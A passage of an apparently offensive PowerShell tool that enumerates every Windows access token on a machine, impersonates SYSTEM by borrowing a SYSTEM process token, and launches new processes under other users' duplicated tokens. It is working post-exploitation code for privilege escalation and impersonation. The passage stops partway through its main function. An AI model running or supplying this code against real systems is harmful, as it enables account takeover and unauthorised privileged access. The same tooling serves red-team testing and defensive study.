1122 }
1123 }
1124 else
1125 {
1126 Write-Verbose "Successfully queried thread token"
1127 }
1128
1129 #Close the handle to hThread (the thread handle)
1130 if (-not $CloseHandle.Invoke($hThread))
1131 {
1132 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1133 Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode"
1134 }
1135 $hThread = [IntPtr]::Zero
1136 }
1137
1138 $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken
1139 return $RetStruct
1140 }
1141
1142
1143 #Gets important information about the token such as the logon type associated with the logon
1144 function Get-TokenInformation
1145 {
1146 Param(
1147 [Parameter(Position=0, Mandatory=$true)]
1148 [IntPtr]
1149 $hToken
1150 )
1151
1152 $ReturnObj = $null
1153
1154 $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS)
1155 [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize)
1156 [UInt32]$RealSize = 0
1157 $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize)
1158 if (-not $Success)
1159 {
1160 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1161 Write-Warning "GetTokenInformation failed. Error code: $ErrorCode"
1162 }
1163 else
1164 {
1165 $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS)
1166
1167 #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon
1168 $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID))
1169 [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false)
1170
1171 [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero
1172 $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr)
1173 if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero)
1174 {
1175 Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr"
1176 }
1177 else
1178 {
1179 $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA)
1180 if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and
1181 $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero)
1182 {
1183 #Get the username and domainname associated with the token
1184 $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2)
1185 $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2)
1186
1187 #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE)
1188 #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account
1189 #results in querying the domain controller which is unwanted.
1190 if ($Username -ieq "$($env:COMPUTERNAME)`$")
1191 {
1192 [UInt32]$Size = 100
1193 [UInt32]$NumUsernameChar = $Size / 2
1194 [UInt32]$NumDomainChar = $Size / 2
1195 [UInt32]$SidNameUse = 0
1196 $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size)
1197 $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size)
1198 $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse)
1199
1200 if ($Success)
1201 {
1202 $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer)
1203 $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer)
1204 }
1205 else
1206 {
1207 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1208 Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode"
1209 }
1210
1211 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer)
1212 $UsernameBuffer = [IntPtr]::Zero
1213 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer)
1214 $DomainBuffer = [IntPtr]::Zero
1215 }
1216
1217 $ReturnObj = New-Object PSObject
1218 $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain
1219 $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username
1220 $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken
1221 $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType
1222
1223
1224 #Query additional info about the token such as if it is elevated
1225 $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false
1226
1227 $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION)
1228 $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize)
1229 [UInt32]$RealSize = 0
1230 $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize)
1231 if (-not $Success)
1232 {
1233 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1234 Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode"
1235 }
1236 else
1237 {
1238 $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION)
1239 if ($TokenElevation.TokenIsElevated -ne 0)
1240 {
1241 $ReturnObj.IsElevated = $true
1242 }
1243 }
1244 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr)
1245
1246
1247 #Query the token type to determine if the token is a primary or impersonation token
1248 $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve"
1249
1250 [UInt32]$TokenTypeSize = 4
1251 [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize)
1252 [UInt32]$RealSize = 0
1253 $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize)
1254 if (-not $Success)
1255 {
1256 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1257 Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode"
1258 }
1259 else
1260 {
1261 [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32])
1262 switch($TokenType)
1263 {
1264 1 {$ReturnObj.TokenType = "Primary"}
1265 2 {$ReturnObj.TokenType = "Impersonation"}
1266 }
1267 }
1268 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr)
1269
1270
1271 #Query the impersonation level if the token is an Impersonation token
1272 if ($ReturnObj.TokenType -ieq "Impersonation")
1273 {
1274 $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve"
1275
1276 [UInt32]$ImpersonationLevelSize = 4
1277 [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32
1278 [UInt32]$RealSize = 0
1279 $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize)
1280 if (-not $Success)
1281 {
1282 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1283 Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode"
1284 }
1285 else
1286 {
1287 [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32])
1288 switch ($ImpersonationLevel)
1289 {
1290 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" }
1291 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" }
1292 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" }
1293 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" }
1294 }
1295 }
1296 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr)
1297 }
1298
1299
1300 #Query the token sessionid
1301 $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown"
1302
1303 [UInt32]$TokenSessionIdSize = 4
1304 [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize)
1305 [UInt32]$RealSize = 0
1306 $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize)
1307 if (-not $Success)
1308 {
1309 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1310 Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode"
1311 }
1312 else
1313 {
1314 [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32])
1315 $ReturnObj.SessionID = $TokenSessionId
1316 }
1317 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr)
1318
1319
1320 #Query the token privileges
1321 $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @()
1322 $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @()
1323
1324 [UInt32]$TokenPrivilegesSize = 1000
1325 [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize)
1326 [UInt32]$RealSize = 0
1327 $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize)
1328 if (-not $Success)
1329 {
1330 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1331 Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode"
1332 }
1333 else
1334 {
1335 $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
1336
1337 #Loop through each privilege
1338 [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges")))
1339 $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
1340 for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++)
1341 {
1342 $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i))
1343
1344 $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES)
1345
1346 #Lookup privilege name
1347 [UInt32]$PrivilegeNameSize = 60
1348 $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize)
1349 $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid
1350
1351 $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize)
1352 if (-not $Success)
1353 {
1354 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1355 Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize"
1356 }
1357 $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr)
1358
1359 #Get the privilege attributes
1360 $PrivilegeStatus = ""
1361 $Enabled = $false
1362
1363 if ($LuidAndAttribute.Attributes -eq 0)
1364 {
1365 $Enabled = $false
1366 }
1367 if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default
1368 {
1369 $Enabled = $true
1370 }
1371 if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled
1372 {
1373 $Enabled = $true
1374 }
1375 if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found.
1376 {
1377 Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. "
1378 }
1379
1380 if ($Enabled)
1381 {
1382 $ReturnObj.PrivilegesEnabled += ,$PrivilegeName
1383 }
1384 else
1385 {
1386 $ReturnObj.PrivilegesAvailable += ,$PrivilegeName
1387 }
1388
1389 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr)
1390 }
1391 }
1392 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
1393
1394 }
1395 else
1396 {
1397 Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)"
1398 }
1399
1400 #Free LogonSessionData
1401 $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr)
1402 $LogonSessionDataPtr = [IntPtr]::Zero
1403 if ($ntstatus -ne 0)
1404 {
1405 Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus"
1406 }
1407 }
1408
1409 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
1410 $LuidPtr = [IntPtr]::Zero
1411 }
1412
1413 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr)
1414 $TokenStatsPtr = [IntPtr]::Zero
1415
1416 return $ReturnObj
1417 }
1418
1419
1420 #Takes an array of TokenObjects built by the script and returns the unique ones
1421 function Get-UniqueTokens
1422 {
1423 Param(
1424 [Parameter(Position=0, Mandatory=$true)]
1425 [Object[]]
1426 $AllTokens
1427 )
1428
1429 $TokenByUser = @{}
1430 $TokenByEnabledPriv = @{}
1431 $TokenByAvailablePriv = @{}
1432
1433 #Filter tokens by user
1434 foreach ($Token in $AllTokens)
1435 {
1436 $Key = $Token.Domain + "\" + $Token.Username
1437 if (-not $TokenByUser.ContainsKey($Key))
1438 {
1439 #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because
1440 # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc..
1441 if ($Token.LogonType -ne 3 -and
1442 $Token.Username -inotmatch "^DWM-\d+$" -and
1443 $Token.Username -inotmatch "^LOCAL\sSERVICE$")
1444 {
1445 $TokenByUser.Add($Key, $Token)
1446 }
1447 }
1448 else
1449 {
1450 #If Tokens have equal elevation levels, compare their privileges.
1451 if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated)
1452 {
1453 if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count))
1454 {
1455 $TokenByUser[$Key] = $Token
1456 }
1457 }
1458 #If the new token is elevated and the current token isn't, use the new token
1459 elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false))
1460 {
1461 $TokenByUser[$Key] = $Token
1462 }
1463 }
1464 }
1465
1466 #Filter tokens by privilege
1467 foreach ($Token in $AllTokens)
1468 {
1469 $Fullname = "$($Token.Domain)\$($Token.Username)"
1470
1471 #Filter currently enabled privileges
1472 foreach ($Privilege in $Token.PrivilegesEnabled)
1473 {
1474 if ($TokenByEnabledPriv.ContainsKey($Privilege))
1475 {
1476 if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname)
1477 {
1478 $TokenByEnabledPriv[$Privilege] += ,$Fullname
1479 }
1480 }
1481 else
1482 {
1483 $TokenByEnabledPriv.Add($Privilege, @($Fullname))
1484 }
1485 }
1486
1487 #Filter currently available (but not enable) privileges
1488 foreach ($Privilege in $Token.PrivilegesAvailable)
1489 {
1490 if ($TokenByAvailablePriv.ContainsKey($Privilege))
1491 {
1492 if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname)
1493 {
1494 $TokenByAvailablePriv[$Privilege] += ,$Fullname
1495 }
1496 }
1497 else
1498 {
1499 $TokenByAvailablePriv.Add($Privilege, @($Fullname))
1500 }
1501 }
1502 }
1503
1504 $ReturnDict = @{
1505 TokenByUser = $TokenByUser
1506 TokenByEnabledPriv = $TokenByEnabledPriv
1507 TokenByAvailablePriv = $TokenByAvailablePriv
1508 }
1509
1510 return (New-Object PSObject -Property $ReturnDict)
1511 }
1512
1513
1514 function Invoke-ImpersonateUser
1515 {
1516 Param(
1517 [Parameter(Position=0, Mandatory=$true)]
1518 [IntPtr]
1519 $hToken
1520 )
1521
1522 #Duplicate the token so it can be used to create a new process
1523 [IntPtr]$NewHToken = [IntPtr]::Zero
1524 $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed
1525 if (-not $Success)
1526 {
1527 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1528 Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode"
1529 }
1530 else
1531 {
1532 $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken)
1533 if (-not $Success)
1534 {
1535 $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1536 Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode"
1537 }
1538 }
1539
1540 $Success = $CloseHandle.Invoke($NewHToken)
1541 $NewHToken = [IntPtr]::Zero
1542 if (-not $Success)
1543 {
1544 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1545 Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"
1546 }
1547
1548 return $Success
1549 }
1550
1551
1552 function Create-ProcessWithToken
1553 {
1554 Param(
1555 [Parameter(Position=0, Mandatory=$true)]
1556 [IntPtr]
1557 $hToken,
1558
1559 [Parameter(Position=1, Mandatory=$true)]
1560 [String]
1561 $ProcessName,
1562
1563 [Parameter(Position=2)]
1564 [String]
1565 $ProcessArgs,
1566
1567 [Parameter(Position=3)]
1568 [Switch]
1569 $PassThru
1570 )
1571 Write-Verbose "Entering Create-ProcessWithToken"
1572 #Duplicate the token so it can be used to create a new process
1573 [IntPtr]$NewHToken = [IntPtr]::Zero
1574 $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken)
1575 if (-not $Success)
1576 {
1577 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1578 Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode"
1579 }
1580 else
1581 {
1582 $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
1583 [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
1584 $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
1585 [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
1586
1587 $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
1588 [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
1589
1590 $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName")
1591 $ProcessArgsPtr = [IntPtr]::Zero
1592 if (-not [String]::IsNullOrEmpty($ProcessArgs))
1593 {
1594 $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs")
1595 }
1596
1597 $FunctionName = ""
1598 if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
1599 {
1600 #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because
1601 #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege
1602 #which is not ideal.
1603 Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token."
1604 Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege
1605 $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
1606 $FunctionName = "CreateProcessAsUserW"
1607 }
1608 else
1609 {
1610 Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token."
1611 $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
1612 $FunctionName = "CreateProcessWithTokenW"
1613 }
1614 if ($Success)
1615 {
1616 #Free the handles returned in the ProcessInfo structure
1617 $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION)
1618 $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null
1619 $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null
1620
1621 #Pass created System.Diagnostics.Process object to pipeline
1622 if ($PassThru) {
1623 #Retrieving created System.Diagnostics.Process object
1624 $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId
1625
1626 #Caching process handle so we don't lose it when the process exits
1627 $null = $returnProcess.Handle
1628
1629 #Passing System.Diagnostics.Process object to pipeline
1630 $returnProcess
1631 }
1632 }
1633 else
1634 {
1635 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1636 Write-Warning "$FunctionName failed. Error code: $ErrorCode"
1637 }
1638
1639 #Free StartupInfo memory and ProcessInfo memory
1640 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr)
1641 $StartupInfoPtr = [Intptr]::Zero
1642 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr)
1643 $ProcessInfoPtr = [IntPtr]::Zero
1644 [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr)
1645 $ProcessNamePtr = [IntPtr]::Zero
1646
1647 #Close handle for the token duplicated with DuplicateTokenEx
1648 $Success = $CloseHandle.Invoke($NewHToken)
1649 $NewHToken = [IntPtr]::Zero
1650 if (-not $Success)
1651 {
1652 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1653 Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"
1654 }
1655 }
1656 }
1657
1658
1659 function Free-AllTokens
1660 {
1661 Param(
1662 [Parameter(Position=0, Mandatory=$true)]
1663 [PSObject[]]
1664 $TokenInfoObjs
1665 )
1666
1667 foreach ($Obj in $TokenInfoObjs)
1668 {
1669 $Success = $CloseHandle.Invoke($Obj.hToken)
1670 if (-not $Success)
1671 {
1672 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1673 Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode"
1674 }
1675 $Obj.hToken = [IntPtr]::Zero
1676 }
1677 }
1678
1679
1680 #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token.
1681 function Enum-AllTokens
1682 {
1683 $AllTokens = @()
1684
1685 #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
1686 #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
1687 #We need to enumrate all processes running as SYSTEM and find one that we can use.
1688 [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
1689
1690 $SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object {
1691 $OwnerInfo = $_.GetOwner()
1692
1693 if ($OwnerInfo.Domain -and $OwnerInfo.User) {
1694 $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
1695
1696 if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
1697 $_
1698 }
1699 }
1700 }
1701
1702 ForEach ($SystemToken in $SystemTokens)
1703 {
1704 $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
1705 if ($SystemTokenInfo) { break }
1706 }
1707 if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
1708 {
1709 Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
1710 }
1711
1712 if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero)
1713 {
1714 $CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null
1715 $SystemTokenInfo = $null
1716 }
1717
1718 $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}
1719
1720 #Get all tokens
1721 foreach ($Process in $ProcessIds)
1722 {
1723 $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs)
1724
1725 #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it.
1726 if ($PrimaryTokenInfo -ne $null)
1727 {
1728 [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken
1729
1730 if ($hToken -ne [IntPtr]::Zero)
1731 {
1732 #Get the LUID corrosponding to the logon
1733 $ReturnObj = Get-TokenInformation -hToken $hToken
1734 if ($ReturnObj -ne $null)
1735 {
1736 $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id
1737
1738 $AllTokens += $ReturnObj
1739 }
1740 }
1741 else
1742 {
1743 Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)"
1744 }
1745
1746 foreach ($Thread in $Process.Threads)
1747 {
1748 $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id
1749 [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken)
1750
1751 if ($hToken -ne [IntPtr]::Zero)
1752 {
1753 $ReturnObj = Get-TokenInformation -hToken $hToken
1754 if ($ReturnObj -ne $null)
1755 {
1756 $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id
1757
1758 $AllTokens += $ReturnObj
1759 }
1760 }
1761 }
1762 }
1763 }
1764
1765 return $AllTokens
1766 }
1767
1768
1769 function Invoke-RevertToSelf
1770 {
1771 Param(
1772 [Parameter(Position=0)]
1773 [Switch]
1774 $ShowOutput
1775 )
1776
1777 $Success = $RevertToSelf.Invoke()
1778
1779 if ($ShowOutput)
1780 {
1781 if ($Success)
1782 {
1783 Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
1784 }
1785 else
1786 {
1787 Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
1788 }
1789 }
1790 }
1791
1792
1793 #Main function
1794 function Main
1795 {
1796 if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
1797 {
1798 Write-Error "Script must be run as administrator" -ErrorAction Stop
1799 }
1800
1801 #If running in session 0, force NoUI
1802 if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
1803 {
1804 Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)"
1805 $NoUI = $true
1806 }
1807
1808 if ($PsCmdlet.ParameterSetName -ieq "RevToSelf")
1809 {
1810 Invoke-RevertToSelf -ShowOutput
1811 }
1812 elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser")
1813 {
1814 $AllTokens = Enum-AllTokens
1815
1816 #Select the token to use
1817 [IntPtr]$hToken = [IntPtr]::Zero
1818 $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser
1819 if ($Username -ne $null -and $Username -ne '')
1820 {
1821 if ($UniqueTokens.ContainsKey($Username))
1822 {
1823 $hToken = $UniqueTokens[$Username].hToken
1824 Write-Verbose "Selecting token by username"
1825 }
1826 else
1827 {
